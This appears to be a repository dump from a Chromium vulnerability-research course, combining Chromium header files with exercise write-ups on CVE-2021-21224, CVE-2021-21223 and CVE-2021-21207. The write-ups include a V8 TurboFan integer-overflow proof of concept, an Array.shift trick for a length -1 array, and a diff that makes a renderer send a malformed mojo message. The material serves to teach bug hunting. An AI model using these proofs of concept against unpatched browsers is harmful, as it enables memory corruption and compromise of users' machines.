126 | TemplateURLService* GetTemplateURLService() const;
127 |
128 | // Merge anchor element metrics that have the same target url (href).
129 | void MergeMetricsSameTargetUrl(
130 | std::vector* metrics) const;
131 |
132 | // Computes and stores document level metrics, including |number_of_anchors_|
133 | // etc.
134 | void ComputeDocumentMetricsOnLoad(
135 | const std::vector& metrics);
136 |
137 | // Given metrics of an anchor element from both renderer and browser process,
138 | // returns navigation score. Virtual for testing purposes.
139 | virtual double CalculateAnchorNavigationScore(
140 | const blink::mojom::AnchorElementMetrics& metrics,
141 | int area_rank) const;
142 |
143 | // If |sum_page_scales_| is non-zero, return the page-wide score to add to
144 | // all the navigation scores. Computed once per page.
145 | double GetPageMetricsScore() const;
146 |
147 | // Given a vector of navigation scores sorted in descending order, decide what
148 | // action to take, or decide not to do anything. Example actions including
149 | // preresolve, preload, prerendering, etc.
150 | void MaybeTakeActionOnLoad(
151 | const GURL& document_url,
152 | const std::vector>&
153 | sorted_navigation_scores);
154 |
155 | // Decides whether to prefetch a URL and, if yes, calls Prefetch.
156 | void MaybePrefetch();
157 |
158 | // Given a url to prefetch, uses NoStatePrefetchManager to start a
159 | // NoStatePrefetch of that URL.
160 | virtual void Prefetch(
161 | prerender::NoStatePrefetchManager* no_state_prefetch_manager,
162 | const GURL& url_to_prefetch);
163 |
164 | // Returns a collection of URLs that can be prefetched. Only one should be
165 | // prefetched at a time.
166 | std::deque GetUrlsToPrefetch(
167 | const GURL& document_url,
168 | const std::vector>&
169 | sorted_navigation_scores);
170 |
171 | // Record anchor element metrics on page load.
172 | void RecordMetricsOnLoad(
173 | const blink::mojom::AnchorElementMetrics& metric) const;
174 |
175 | // Record timing information when an anchor element is clicked.
176 | void RecordTimingOnClick();
177 |
178 | // Records the accuracy of the action taken by the navigator predictor based
179 | // on the action taken as well as the URL that was navigated to.
180 | // |target_url| is the URL navigated to by the user.
181 | void RecordActionAccuracyOnClick(const GURL& target_url) const;
182 |
183 | // Records metrics on which action the predictor is taking.
184 | void RecordAction(Action log_action);
185 |
186 | // Sends metrics to the UKM id at |ukm_source_id_|.
187 | void MaybeSendMetricsToUkm() const;
188 |
189 | // After an in-page click, sends the index of the url that was clicked to the
190 | // UKM id at |ukm_source_id_|.
191 | void MaybeSendClickMetricsToUkm(const std::string& clicked_url) const;
192 |
193 | // Returns the minimum of the bucket that |value| belongs in, for page-wide
194 | // metrics, excluding |median_link_location_|.
195 | int GetBucketMinForPageMetrics(int value) const;
196 |
197 | // Returns the minimum of the bucket that |value| belongs in, used for
198 | // |median_link_location_| and the |ratio_distance_root_top|.
199 | int GetLinearBucketForLinkLocation(int value) const;
200 |
201 | // Returns the minimum of the bucket that |value| belongs in, used for
202 | // |ratio_area|.
203 | int GetLinearBucketForRatioArea(int value) const;
204 |
205 | // Notifies the keyed service of the updated predicted navigation.
206 | void NotifyPredictionUpdated(
207 | const std::vector>&
208 | sorted_navigation_scores);
209 |
210 | // Record metrics about how many prerenders were started and finished.
211 | void RecordActionAccuracyOnTearDown();
212 |
213 | // Used to get keyed services.
214 | content::BrowserContext* const browser_context_;
215 |
216 | // Maps from target url (href) to navigation score.
217 | std::unordered_map>
218 | navigation_scores_map_;
219 |
220 | // Total number of anchors that: href has the same host as the document,
221 | // contains image, inside an iframe, href incremented by 1 from document url.
222 | int number_of_anchors_same_host_ = 0;
223 | int number_of_anchors_contains_image_ = 0;
224 | int number_of_anchors_in_iframe_ = 0;
225 | int number_of_anchors_url_incremented_ = 0;
226 | int number_of_anchors_ = 0;
227 |
228 | // Viewport-related metrics for anchor elements: the viewport size,
229 | // the median distance down the viewport of all the links, and the
230 | // total clickable space for first viewport links. |total_clickable_space_| is
231 | // a percent (between 0 and 100).
232 | gfx::Size viewport_size_;
233 | int median_link_location_ = 0;
234 | float total_clickable_space_ = 0;
235 |
236 | // Anchor-specific scaling factors used to compute navigation scores.
237 | const int ratio_area_scale_;
238 | const int is_in_iframe_scale_;
239 | const int is_same_host_scale_;
240 | const int contains_image_scale_;
241 | const int is_url_incremented_scale_;
242 | const int area_rank_scale_;
243 | const int ratio_distance_root_top_scale_;
244 |
245 | // Page-wide scaling factors used to compute navigation scores.
246 | const int link_total_scale_;
247 | const int iframe_link_total_scale_;
248 | const int increment_link_total_scale_;
249 | const int same_origin_link_total_scale_;
250 | const int image_link_total_scale_;
251 | const int clickable_space_scale_;
252 | const int median_link_location_scale_;
253 | const int viewport_height_scale_;
254 | const int viewport_width_scale_;
255 |
256 | // Sum of all scales for individual anchor metrics.
257 | // Used to normalize the final computed weight.
258 | const int sum_link_scales_;
259 |
260 | // Sum of all scales for page-wide metrics.
261 | const int sum_page_scales_;
262 |
263 | // True if device is a low end device.
264 | const bool is_low_end_device_;
265 |
266 | // Minimum score that a URL should have for it to be prefetched. Note
267 | // that scores of origins are computed differently from scores of URLs, so
268 | // they are not comparable.
269 | const int prefetch_url_score_threshold_;
270 |
271 | // True if |this| should use the NoStatePrefetchManager to prefetch.
272 | const bool prefetch_enabled_;
273 |
274 | // True by default, otherwise navigation scores will not be normalized
275 | // by the sum of metrics weights nor normalized from 0 to 100 across
276 | // all navigation scores for a page.
277 | const bool normalize_navigation_scores_;
278 |
279 | // A count of clicks to prevent reporting more than 10 clicks to UKM.
280 | size_t clicked_count_ = 0;
281 |
282 | // Whether a new navigation has started (only set if load event comes before
283 | // DidStartNavigation).
284 | bool next_navigation_started_ = false;
285 |
286 | // True if the source webpage (i.e., the page on which we are trying to
287 | // predict the next navigation) is a page from user's default search engine.
288 | bool source_is_default_search_engine_page_ = false;
289 |
290 | // Current visibility state of the web contents.
291 | content::Visibility current_visibility_;
292 |
293 | // Current prefetch handle.
294 | std::unique_ptr no_state_prefetch_handle_;
295 |
296 | // URL that we decided to prefetch, and are currently prefetching.
297 | base::Optional prefetch_url_;
298 |
299 | // An ordered list of URLs that should be prefetched in succession.
300 | std::deque urls_to_prefetch_;
301 |
302 | // URLs that were successfully prefetched.
303 | std::set urls_prefetched_;
304 |
305 | // URLs that scored above the threshold in sorted order.
306 | std::vector urls_above_threshold_;
307 |
308 | // URLs that had a prerender started, but were canceled due to background or
309 | // next navigation.
310 | std::set partial_prerfetches_;
311 |
312 | // UKM ID for navigation
313 | ukm::SourceId ukm_source_id_;
314 |
315 | // UKM recorder
316 | ukm::UkmRecorder* ukm_recorder_ = nullptr;
317 |
318 | // The URL of the current page.
319 | GURL document_url_;
320 |
321 | // WebContents of the current page.
322 | const content::WebContents* web_contents_;
323 |
324 | SEQUENCE_CHECKER(sequence_checker_);
325 |
326 | DISALLOW_COPY_AND_ASSIGN(NavigationPredictor);
327 | };
328 |
329 | #endif // CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_
330 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_2/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 2
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.
4 |
5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details.
6 |
7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.
8 |
9 | ## CVE-2021-21224
10 | I sugget you don't search any report about it to prevents get too much info like patch.
11 |
12 |
13 |
14 | ### Details
15 |
16 | In level 3, we do it without the help of Details
17 |
18 |
19 | ---------
20 |
21 |
22 | For more info click me! But you'd better not do this
23 |
24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1195777
25 |
26 |
27 |
28 | --------
29 |
30 | ### Set environment
31 |
32 | Welcome to V8
33 |
34 | if you have fetched v8, just
35 | ```sh
36 | git reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3
37 | gclient sync
38 | ```
39 | But if you not
40 | ```sh
41 | # get depot_tools
42 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
43 | # add to env var
44 | echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc
45 | # get v8 source code
46 | fetch v8
47 | # chenge to right commit
48 | cd v8
49 | git reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3
50 | # download others
51 | gclient sync
52 | ```
53 |
54 |
55 |
56 | ### Related code
57 |
58 | src/compiler/representation-change.cc
59 |
60 | tips: Integer overflow
61 |
62 | ### Do it
63 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
64 |
65 |
66 | ---------
67 |
68 |
69 | My answer
70 |
71 | ```c++
72 | // The {UseInfo} class is used to describe a use of an input of a node.
73 | //
74 | // This information is used in two different ways, based on the phase:
75 | //
76 | // 1. During propagation, the use info is used to inform the input node
77 | // about what part of the input is used (we call this truncation) and what
78 | // is the preferred representation. For conversions that will require
79 | // checks, we also keep track of whether a minus zero check is needed.
80 | //
81 | // 2. During lowering, the use info is used to properly convert the input
82 | // to the preferred representation. The preferred representation might be
83 | // insufficient to do the conversion (e.g. word32->float64 conv), so we also
84 | // need the signedness information to produce the correct value.
85 | // Additionally, use info may contain {CheckParameters} which contains
86 | // information for the deoptimizer such as a CallIC on which speculation
87 | // should be disallowed if the check fails.
88 | ```
89 |
90 | When do truncation we need check the `{CheckParameters}` like `use_info.type_check() == TypeCheckKind::kSignedSmall`, and if the check fails will trigger deoptimize.
91 |
92 | ```c++
93 | enum class TypeCheckKind : uint8_t {
94 | kNone,
95 | kSignedSmall,
96 | kSigned32,
97 | kSigned64,
98 | kNumber,
99 | kNumberOrBoolean,
100 | kNumberOrOddball,
101 | kHeapObject,
102 | kBigInt,
103 | kArrayIndex
104 | };
105 | ```
106 |
107 | The reasons for bug is missing a check of `use_info`
108 | ```c++
109 | Node* RepresentationChanger::GetWord32RepresentationFor(
110 | Node* node, MachineRepresentation output_rep, Type output_type,
111 | Node* use_node, UseInfo use_info) {
112 | // Eagerly fold representation changes for constants.
113 | switch (node->opcode()) {
114 | case IrOpcode::kInt32Constant:
115 | case IrOpcode::kInt64Constant:
116 | case IrOpcode::kFloat32Constant:
117 | case IrOpcode::kFloat64Constant:
118 | UNREACHABLE();
119 | case IrOpcode::kNumberConstant: {
120 | double const fv = OpParameter(node->op());
121 | if (use_info.type_check() == TypeCheckKind::kNone ||
122 | ((use_info.type_check() == TypeCheckKind::kSignedSmall ||
123 | use_info.type_check() == TypeCheckKind::kSigned32 ||
124 | use_info.type_check() == TypeCheckKind::kNumber ||
125 | use_info.type_check() == TypeCheckKind::kNumberOrOddball ||
126 | use_info.type_check() == TypeCheckKind::kArrayIndex) &&
127 | IsInt32Double(fv))) {
128 | return MakeTruncatedInt32Constant(fv);
129 | }
130 | break;
131 | }
132 | default:
133 | break;
134 | }
135 |
136 | // Select the correct X -> Word32 operator.
137 | const Operator* op = nullptr;
138 | if (output_type.Is(Type::None())) {
139 | // This is an impossible value; it should not be used at runtime.
140 | return jsgraph()->graph()->NewNode(
141 | jsgraph()->common()->DeadValue(MachineRepresentation::kWord32), node);
142 | [ ... ]
143 | } else if (output_rep == MachineRepresentation::kWord8 ||
144 | output_rep == MachineRepresentation::kWord16) {
145 | DCHECK_EQ(MachineRepresentation::kWord32, use_info.representation());
146 | DCHECK(use_info.type_check() == TypeCheckKind::kSignedSmall ||
147 | use_info.type_check() == TypeCheckKind::kSigned32);
148 | return node;
149 | } else if (output_rep == MachineRepresentation::kWord64) {
150 | if (output_type.Is(Type::Signed32()) ||
151 | output_type.Is(Type::Unsigned32())) {
152 | op = machine()->TruncateInt64ToInt32(); [1]
153 | } else if (output_type.Is(cache_->kSafeInteger) &&
154 | use_info.truncation().IsUsedAsWord32()) {
155 | op = machine()->TruncateInt64ToInt32();
156 | ```
157 | [1] Truncate Int64 To Int32 without check. This lead to Integer overflow.
158 |
159 | We should search for how can we insert one `TruncateInt64ToInt32` node. I have no idea about it but I guess `kWord64` var as `Signed32` and `Unsigned32` can convert from Int64 to Int32, and we can set 0xffffffff for y(Word32) and if convert to int32 can be -1.
160 |
161 | **Poc**
162 | ```js
163 | function foo(a)
164 | {
165 | let x = -1;
166 | if(a) x = 0xffffffff;
167 | return -1 < Math.max(x,0);
168 | }
169 |
170 | console.log(foo(true)) //prints true
171 | for (let i = 0; i < 0x10000; ++i) foo(false)
172 | console.log(foo(true)) //prints false
173 | ```
174 | When construct Poc of turbofan, we need analysis turbolizer or break at `../../src/compiler/representation-change.cc:853` to know whether we get kWord64 and convert to int32. I get this poc form [there](https://iamelli0t.github.io/2021/04/20/Chromium-Issue-1196683-1195777.html#rca-of-issue-1195777)
175 |
176 | checkbounds—elimination had been bannde and `Array.prototype.shift()` is a trick which has been patched now, but this commit can trigger it, we can make array length == -1 by shift
177 | ```js
178 | let vuln_array = new Array(0 - Math.max(0, x));
179 | vuln_array.shift();
180 | ```
181 |
182 | full exp can be found [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1195777#c15)
183 |
184 |
185 |
186 | --------
187 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_3/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 3
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.
4 |
5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details.
6 |
7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.
8 |
9 | ## CVE-2021-21223
10 | I sugget you don't search any report about it to prevents get too much info like patch.
11 |
12 |
13 |
14 | ### Details
15 |
16 | In level 3, we do it without the help of Details
17 |
18 |
19 | ---------
20 |
21 |
22 | For more info click me! But you'd better not do this
23 |
24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1195308
25 |
26 |
27 |
28 | --------
29 |
30 | ### Set environment
31 |
32 | after fetch chromium
33 | ```sh
34 | git reset --hard 5fea97e8b681c0a0e142f68ed03d5c4cc5862672
35 | ```
36 |
37 |
38 |
39 | ### Related code
40 |
41 | mojo/core/node_channel.cc
42 |
45 |
46 | read this [design doc](https://chromium.googlesource.com/chromium/src/+/6740adb28374ddeee13febfd5e5d20cb8a365979/mojo/core#mojo-core-overview) about `mojo-code`, you can understand source code faster.
47 |
48 |
49 | ### Do it
50 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
51 |
52 |
53 | ---------
54 |
55 |
56 | My answer
57 |
58 | I have notice one func, and this is the only func I suspect.
59 | ```c++
60 | // static
61 | void NodeChannel::GetEventMessageData(Channel::Message* message,
62 | void** data,
63 | size_t* num_data_bytes) {
64 | // NOTE: OnChannelMessage guarantees that we never accept a Channel::Message
65 | // with a payload of fewer than |sizeof(Header)| bytes.
66 | *data = reinterpret_cast(message->mutable_payload()) + 1;
67 | *num_data_bytes = message->payload_size() - sizeof(Header);
68 | }
69 | ```
70 | The **comment** reminds me, `NOTE: OnChannelMessage guarantees that we never accept a Channel::Message with a payload of fewer than |sizeof(Header)| bytes.`
71 |
72 | Can we make `message->payload_size()` less than `sizeof(Header)`? First we need bypass OnChannelMessage to get here.
73 |
74 | ```c++
75 | void NodeChannel::OnChannelMessage(const void* payload,
76 | size_t payload_size,
77 | std::vector handles) {
78 | DCHECK(owning_task_runner()->RunsTasksInCurrentSequence());
79 |
80 | RequestContext request_context(RequestContext::Source::SYSTEM);
81 |
82 | if (payload_size <= sizeof(Header)) { [1]
83 | delegate_->OnChannelError(remote_node_name_, this);
84 | return;
85 | }
86 | //[ ... ]
87 | case MessageType::BROADCAST_EVENT: {
88 | if (payload_size <= sizeof(Header))
89 | break;
90 | const void* data = static_cast(
91 | reinterpret_cast(payload) + 1);
92 | Channel::MessagePtr message =
93 | Channel::Message::Deserialize(data, payload_size - sizeof(Header));
94 | if (!message || message->has_handles()) {
95 | DLOG(ERROR) << "Dropping invalid broadcast message.";
96 | break;
97 | }
98 | delegate_->OnBroadcast(remote_node_name_, std::move(message)); [2]
99 | return;
100 | }
101 | ```
102 | [1] check `payload_size <= sizeof(Header)` at begain of OnChannelMessage, and I will explain [2] alter.
103 |
104 | We can search for which func call `GetEventMessageData`
105 | ```c++
106 | ports::ScopedEvent DeserializeEventMessage(
107 | const ports::NodeName& from_node,
108 | Channel::MessagePtr channel_message) {
109 | void* data;
110 | size_t size;
111 | NodeChannel::GetEventMessageData(channel_message.get(), &data, &size); [3]
112 | auto event = ports::Event::Deserialize(data, size);
113 | if (!event)
114 | return nullptr;
115 | [ ... ]
116 | }
117 | ===========================================================
118 | // static
119 | Channel::MessagePtr UserMessageImpl::FinalizeEventMessage(
120 | std::unique_ptr message_event) {
121 | [ ... ]
122 | if (channel_message) {
123 | void* data;
124 | size_t size;
125 | NodeChannel::GetEventMessageData(channel_message.get(), &data, &size); [4]
126 | message_event->Serialize(data);
127 | }
128 | return channel_message;
129 | }
130 | ```
131 | [3] and [4] both call `GetEventMessageData`, I analysis `DeserializeEventMessage`
132 | ```c++
133 | void NodeController::BroadcastEvent(ports::ScopedEvent event) {
134 | Channel::MessagePtr channel_message = SerializeEventMessage(std::move(event));
135 | DCHECK(channel_message && !channel_message->has_handles());
136 |
137 | scoped_refptr broker = GetBrokerChannel();
138 | if (broker)
139 | broker->Broadcast(std::move(channel_message));
140 | else
141 | OnBroadcast(name_, std::move(channel_message)); [5]
142 | }
143 | =================================================================
144 | void NodeController::OnBroadcast(const ports::NodeName& from_node,
145 | Channel::MessagePtr message) {
146 | DCHECK(!message->has_handles());
147 |
148 | auto event = DeserializeEventMessage(from_node, std::move(message)); [6]
149 | [ ... ]
150 | ```
151 | [6] call `DeserializeEventMessage` and `BroadcastEvent` call `OnBroadcast`, this is different from [2]. [2] will check `if (payload_size <= sizeof(Header))` before call `OnBroadcast`. And this way have no check so far, maybe I am wrong.
152 |
153 |
154 | **Poc**
155 | >To reproduce the issue, please patch chrome through the following patch
156 | ```diff
157 | diff --git a/mojo/core/node_channel.cc b/mojo/core/node_channel.cc
158 | index c48fb573fea9..7ce197a579f5 100644
159 | --- a/mojo/core/node_channel.cc
160 | +++ b/mojo/core/node_channel.cc
161 | @@ -17,7 +17,7 @@
162 | #include "mojo/core/configuration.h"
163 | #include "mojo/core/core.h"
164 | #include "mojo/core/request_context.h"
165 | -
166 | +#include "base/trace_event/trace_event.h"
167 | namespace mojo {
168 | namespace core {
169 |
170 | @@ -327,12 +327,23 @@ void NodeChannel::AcceptInvitee(const ports::NodeName& inviter_name,
171 |
172 | void NodeChannel::AcceptInvitation(const ports::NodeName& token,
173 | const ports::NodeName& invitee_name) {
174 | - AcceptInvitationData* data;
175 | - Channel::MessagePtr message = CreateMessage(
176 | - MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, &data);
177 | - data->token = token;
178 | - data->invitee_name = invitee_name;
179 | - WriteChannelMessage(std::move(message));
180 | + if (base::trace_event::TraceLog::GetInstance()->process_name() ==
181 | + "Renderer") {
182 | + void* data;
183 | + Channel::MessagePtr broadcast_message =
184 | + CreateMessage(MessageType::BROADCAST_EVENT, 16, 0, &data);
185 | + uint32_t buffer[] = {16, 16 + 0x10000, 0, 0};
186 | + memcpy(data, buffer, sizeof(buffer));
187 | + WriteChannelMessage(std::move(broadcast_message));
188 | + } else {
189 | + AcceptInvitationData* data;
190 | + Channel::MessagePtr message = CreateMessage(
191 | + MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0,
192 | + &data);
193 | + data->token = token;
194 | + data->invitee_name = invitee_name;
195 | + WriteChannelMessage(std::move(message));
196 | + }
197 | }
198 |
199 | void NodeChannel::AcceptPeer(const ports::NodeName& sender_name,
200 | ```
201 |
202 |
203 |
204 | --------
205 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_3/node_channel.h:
--------------------------------------------------------------------------------
1 | // Copyright 2016 The Chromium Authors. All rights reserved.
2 | // Use of this source code is governed by a BSD-style license that can be
3 | // found in the LICENSE file.
4 |
5 | #ifndef MOJO_CORE_NODE_CHANNEL_H_
6 | #define MOJO_CORE_NODE_CHANNEL_H_
7 |
8 | #include
9 | #include
10 |
11 | #include "base/callback.h"
12 | #include "base/containers/queue.h"
13 | #include "base/macros.h"
14 | #include "base/memory/ref_counted_delete_on_sequence.h"
15 | #include "base/process/process.h"
16 | #include "base/process/process_handle.h"
17 | #include "base/single_thread_task_runner.h"
18 | #include "base/synchronization/lock.h"
19 | #include "build/build_config.h"
20 | #include "mojo/core/channel.h"
21 | #include "mojo/core/connection_params.h"
22 | #include "mojo/core/embedder/process_error_callback.h"
23 | #include "mojo/core/ports/name.h"
24 | #include "mojo/core/system_impl_export.h"
25 |
26 | namespace mojo {
27 | namespace core {
28 |
29 | constexpr uint64_t kNodeCapabilityNone = 0;
30 | constexpr uint64_t kNodeCapabilitySupportsUpgrade = 1;
31 |
32 | // Wraps a Channel to send and receive Node control messages.
33 | class MOJO_SYSTEM_IMPL_EXPORT NodeChannel
34 | : public base::RefCountedDeleteOnSequence,
35 | public Channel::Delegate {
36 | public:
37 | class Delegate {
38 | public:
39 | virtual ~Delegate() = default;
40 | virtual void OnAcceptInvitee(const ports::NodeName& from_node,
41 | const ports::NodeName& inviter_name,
42 | const ports::NodeName& token) = 0;
43 | virtual void OnAcceptInvitation(const ports::NodeName& from_node,
44 | const ports::NodeName& token,
45 | const ports::NodeName& invitee_name) = 0;
46 | virtual void OnAddBrokerClient(const ports::NodeName& from_node,
47 | const ports::NodeName& client_name,
48 | base::ProcessHandle process_handle) = 0;
49 | virtual void OnBrokerClientAdded(const ports::NodeName& from_node,
50 | const ports::NodeName& client_name,
51 | PlatformHandle broker_channel) = 0;
52 | virtual void OnAcceptBrokerClient(const ports::NodeName& from_node,
53 | const ports::NodeName& broker_name,
54 | PlatformHandle broker_channel,
55 | const uint64_t broker_capabilities) = 0;
56 | virtual void OnEventMessage(const ports::NodeName& from_node,
57 | Channel::MessagePtr message) = 0;
58 | virtual void OnRequestPortMerge(const ports::NodeName& from_node,
59 | const ports::PortName& connector_port_name,
60 | const std::string& token) = 0;
61 | virtual void OnRequestIntroduction(const ports::NodeName& from_node,
62 | const ports::NodeName& name) = 0;
63 | virtual void OnIntroduce(const ports::NodeName& from_node,
64 | const ports::NodeName& name,
65 | PlatformHandle channel_handle,
66 | const uint64_t remote_capabilities) = 0;
67 | virtual void OnBroadcast(const ports::NodeName& from_node,
68 | Channel::MessagePtr message) = 0;
69 | #if defined(OS_WIN)
70 | virtual void OnRelayEventMessage(const ports::NodeName& from_node,
71 | base::ProcessHandle from_process,
72 | const ports::NodeName& destination,
73 | Channel::MessagePtr message) = 0;
74 | virtual void OnEventMessageFromRelay(const ports::NodeName& from_node,
75 | const ports::NodeName& source_node,
76 | Channel::MessagePtr message) = 0;
77 | #endif
78 | virtual void OnAcceptPeer(const ports::NodeName& from_node,
79 | const ports::NodeName& token,
80 | const ports::NodeName& peer_name,
81 | const ports::PortName& port_name) = 0;
82 | virtual void OnChannelError(const ports::NodeName& node,
83 | NodeChannel* channel) = 0;
84 | };
85 |
86 | static scoped_refptr Create(
87 | Delegate* delegate,
88 | ConnectionParams connection_params,
89 | Channel::HandlePolicy channel_handle_policy,
90 | scoped_refptr io_task_runner,
91 | const ProcessErrorCallback& process_error_callback);
92 |
93 | static Channel::MessagePtr CreateEventMessage(size_t capacity,
94 | size_t payload_size,
95 | void** payload,
96 | size_t num_handles);
97 |
98 | static void GetEventMessageData(Channel::Message* message,
99 | void** data,
100 | size_t* num_data_bytes);
101 |
102 | // Start receiving messages.
103 | void Start();
104 |
105 | // Permanently stop the channel from sending or receiving messages.
106 | void ShutDown();
107 |
108 | // Leaks the pipe handle instead of closing it on shutdown.
109 | void LeakHandleOnShutdown();
110 |
111 | // Invokes the bad message callback for this channel. To avoid losing error
112 | // reports the caller should ensure that the channel |HasBadMessageHandler|
113 | // before calling |NotifyBadMessage|.
114 | void NotifyBadMessage(const std::string& error);
115 |
116 | // Returns whether the channel has a bad message handler.
117 | bool HasBadMessageHandler() { return !process_error_callback_.is_null(); }
118 |
119 | void SetRemoteProcessHandle(base::Process process_handle);
120 | bool HasRemoteProcessHandle();
121 | base::Process CloneRemoteProcessHandle();
122 |
123 | // Used for context in Delegate calls (via |from_node| arguments.)
124 | void SetRemoteNodeName(const ports::NodeName& name);
125 |
126 | void AcceptInvitee(const ports::NodeName& inviter_name,
127 | const ports::NodeName& token);
128 | void AcceptInvitation(const ports::NodeName& token,
129 | const ports::NodeName& invitee_name);
130 | void AcceptPeer(const ports::NodeName& sender_name,
131 | const ports::NodeName& token,
132 | const ports::PortName& port_name);
133 | void AddBrokerClient(const ports::NodeName& client_name,
134 | base::Process process_handle);
135 | void BrokerClientAdded(const ports::NodeName& client_name,
136 | PlatformHandle broker_channel);
137 | void AcceptBrokerClient(const ports::NodeName& broker_name,
138 | PlatformHandle broker_channel,
139 | const uint64_t broker_capabilities);
140 | void RequestPortMerge(const ports::PortName& connector_port_name,
141 | const std::string& token);
142 | void RequestIntroduction(const ports::NodeName& name);
143 | void Introduce(const ports::NodeName& name,
144 | PlatformHandle channel_handle,
145 | uint64_t capabilities);
146 | void SendChannelMessage(Channel::MessagePtr message);
147 | void Broadcast(Channel::MessagePtr message);
148 | void BindBrokerHost(PlatformHandle broker_host_handle);
149 |
150 | uint64_t RemoteCapabilities() const;
151 | bool HasRemoteCapability(const uint64_t capability) const;
152 | void SetRemoteCapabilities(const uint64_t capability);
153 |
154 | uint64_t LocalCapabilities() const;
155 | bool HasLocalCapability(const uint64_t capability) const;
156 | void SetLocalCapabilities(const uint64_t capability);
157 |
158 | #if defined(OS_WIN)
159 | // Relay the message to the specified node via this channel. This is used to
160 | // pass windows handles between two processes that do not have permission to
161 | // duplicate handles into the other's address space. The relay process is
162 | // assumed to have that permission.
163 | void RelayEventMessage(const ports::NodeName& destination,
164 | Channel::MessagePtr message);
165 |
166 | // Sends a message to its destination from a relay. This is interpreted by the
167 | // receiver similarly to EventMessage, but the original source node is
168 | // provided as additional message metadata from the (trusted) relay node.
169 | void EventMessageFromRelay(const ports::NodeName& source,
170 | Channel::MessagePtr message);
171 | #endif
172 |
173 | void OfferChannelUpgrade();
174 |
175 | private:
176 | friend class base::RefCountedDeleteOnSequence;
177 | friend class base::DeleteHelper;
178 |
179 | using PendingMessageQueue = base::queue;
180 | using PendingRelayMessageQueue =
181 | base::queue>;
182 |
183 | NodeChannel(Delegate* delegate,
184 | ConnectionParams connection_params,
185 | Channel::HandlePolicy channel_handle_policy,
186 | scoped_refptr io_task_runner,
187 | const ProcessErrorCallback& process_error_callback);
188 | ~NodeChannel() override;
189 |
190 | // Creates a BrokerHost to satisfy a |BindBrokerHost()| request from the other
191 | // end of the channel.
192 | void CreateAndBindLocalBrokerHost(PlatformHandle broker_host_handle);
193 |
194 | // Channel::Delegate:
195 | void OnChannelMessage(const void* payload,
196 | size_t payload_size,
197 | std::vector handles) override;
198 | void OnChannelError(Channel::Error error) override;
199 |
200 | void WriteChannelMessage(Channel::MessagePtr message);
201 |
202 | // This method is responsible for setting up the default set of capabilities
203 | // for this channel.
204 | void InitializeLocalCapabilities();
205 |
206 | Delegate* const delegate_;
207 | const ProcessErrorCallback process_error_callback_;
208 |
209 | base::Lock channel_lock_;
210 | scoped_refptr channel_ GUARDED_BY(channel_lock_);
211 |
212 | // Must only be accessed from the owning task runner's thread.
213 | ports::NodeName remote_node_name_;
214 |
215 | uint64_t remote_capabilities_ = kNodeCapabilityNone;
216 | uint64_t local_capabilities_ = kNodeCapabilityNone;
217 |
218 | base::Lock remote_process_handle_lock_;
219 | base::Process remote_process_handle_;
220 |
221 | DISALLOW_COPY_AND_ASSIGN(NodeChannel);
222 | };
223 |
224 | } // namespace core
225 | } // namespace mojo
226 |
227 | #endif // MOJO_CORE_NODE_CHANNEL_H_
228 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_4/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 4
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.
4 |
5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details.
6 |
7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.
8 |
9 | ## CVE-2021-21207
10 | I sugget you don't search any report about it to prevents get too much info like patch.
11 |
12 |
13 |
14 | ### Details
15 |
16 | In level 3, we do it without the help of Details
17 |
18 |
19 | ---------
20 |
21 |
22 | For more info click me! But you'd better not do this
23 |
24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1185732
25 |
26 |
27 |
28 | --------
29 |
30 | ### Set environment
31 |
32 | after fetch chromium
33 | ```sh
34 | git reset --hard 86a37b3c8fdc47b0ba932644fd61bbc791c82357
35 | ```
36 |
37 |
38 |
39 | ### Related code
40 |
41 | mojo/public/cpp/bindings/receiver_set.h
42 |
43 | read this [doc](https://chromium.googlesource.com/chromium/src/+/668cf831e91210d4f23e815e07ff1421f3ee9747/mojo/public/cpp/bindings#Receiver-Sets) get info about Receiver Sets
44 |
45 | ### Do it
46 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
47 |
48 |
49 | ---------
50 |
51 |
52 | My answer
53 |
54 | This function only checks whether the ID is equal to 0, but does not judge whether the ID is reused.so if the has same id inset to container,will free the previous.
55 | ```c++
56 | ReceiverId AddImpl(ImplPointerType impl,
57 | PendingType receiver,
58 | Context context,
59 | scoped_refptr task_runner) {
60 | DCHECK(receiver.is_valid());
61 | ReceiverId id = next_receiver_id_++;
62 | DCHECK_GE(next_receiver_id_, 0u);
63 | auto entry =
64 | std::make_unique(std::move(impl), std::move(receiver), this, id,
65 | std::move(context), std::move(task_runner));
66 | receivers_.insert(std::make_pair(id, std::move(entry)));
67 | return id;
68 | }
69 | ```
